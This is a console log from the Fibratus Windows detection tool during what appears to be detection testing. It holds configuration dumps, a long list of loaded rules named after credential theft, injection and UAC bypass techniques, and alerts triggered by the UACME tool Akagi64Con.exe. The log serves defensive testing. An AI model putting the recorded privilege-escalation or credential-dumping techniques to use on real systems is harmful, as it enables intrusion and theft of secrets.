output ......................... [ amqp=>[ timeout=>5s exchange-type=>topic routing-key=>fibratus durable=>false passive=>false tls-insecure-skip-verify=>false exchange=>fibratus enabled=>false delivery-mode=>transient vhost=>/ url=>amqp://localhost:5672] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty] http=>[ enabled=>false serializer=>json timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false method=>POST endpoints=>[]] elasticsearch=>[ timeout=>5s gzip-compression=>false healthcheck=>true index-name=>fibratus enabled=>false flush-period=>1s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s sniff=>false bulk-workers=>1 template-name=>fibratus trace-log=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] fastscan=>true excluded-files=>[] skip-mmaps=>false skip-files=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-23T18:07:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:07:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:07:52+01:00 level=error msg=unable to parse PE exports for module [C:\Users\nedo\AppData\Local\Temp\system32\PerformanceTraceHandler.dll]: open C:\Users\nedo\AppData\Local\Temp\system32\PerformanceTraceHandler.dll: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-23T18:07:52+01:00 level=info msg=sending alert: [UAC bypass via RequestTrace scheduled task hijack]. Text: Event(s): + Seq: 397857 + Pid: 12068 + Tid: 9272 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-23 18:07:40.5242254 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 1522f8000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffcf8a4acd7080, name➜ cmd.exe, pid➜ 14752, ppid➜ 12068, real_ppid➜ 12068, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-23 18:07:40.524123 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 9296837238778232832, rule.name: UAC bypass via RequestTrace scheduled task hijack + + Pid: 12068 + Ppid: 2020 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [taskhostw.exe] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-23T18:08:10+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T18:08:10+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:08:10+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:11:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-23T18:11:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-23T18:11:00+01:00 level=info msg=bootstrapping with pid 1164. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T18:11:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ enabled=>false to=>[] port=>25 use-template=>true content-type=>text/html] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-registry=>true enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-vamap=>true enable-dns=>false max-buffers=>36 enable-handle=>false enable-mem=>false enable-thread=>true flush-interval=>1s enable-net=>true enable-threadpool=>false min-buffers=>16 enable-audit-api=>true buffer-size=>512 stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 formatter=>text level=>info max-size=>100 max-age=>0] + output ......................... [ elasticsearch=>[ trace-log=>false bulk-workers=>1 flush-period=>1s timeout=>5s healthcheck-timeout=>5s enabled=>false template-name=>fibratus index-name=>fibratus sniff=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-interval=>10s] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false endpoints=>[] method=>POST timeout=>5s serializer=>json] eventlog=>[ level=>info enabled=>false] amqp=>[ durable=>false url=>amqp://localhost:5672 passive=>false enabled=>false exchange-type=>topic delivery-mode=>transient timeout=>5s exchange=>fibratus routing-key=>fibratus vhost=>/ tls-insecure-skip-verify=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false fastscan=>true excluded-files=>[] skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false excluded-procs=>[] skip-mmaps=>false skip-registry=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-23T18:11:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:11:04+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:11:26+01:00 level=error msg=unable to parse PE exports for module [C:\Windows\System32\wbem\ATL.dll]: open C:\Windows\System32\wbem\ATL.dll: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-23T18:11:26+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 449402 + Pid: 12356 + Tid: 5752 + Type: CreateFile + CPU: 0 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-23 18:11:08.5435835 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffcf8a48021280, file_path➜ C:\Windows\System32\wbem\ATL.dl~, irp➜ ffffcf8a37b830f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 5752, type➜ File + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: C:\Windows\System32\wbem\ATL, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 12356 + Ppid: 1212 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[] + + + + Seq: 464883 + Pid: 5556 + Tid: 11600 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-23 18:11:09.3653977 +0100 CET + Params: base_address➜ 7ff8eb0f0000, checksum➜ 38076, default_address➜ 7ff8eb0f0000, file_path➜ C:\Windows\System32\wbem\ATL.dll, image_size➜ 53248, pid➜ 5556, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: C:\Windows\System32\wbem\ATL, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 5556 + Ppid: 12948 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" WmiMgmt.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 77 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" WmiMgmt.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-23T18:11:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T18:11:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:11:58+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:12:17+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-23T18:12:17+01:00 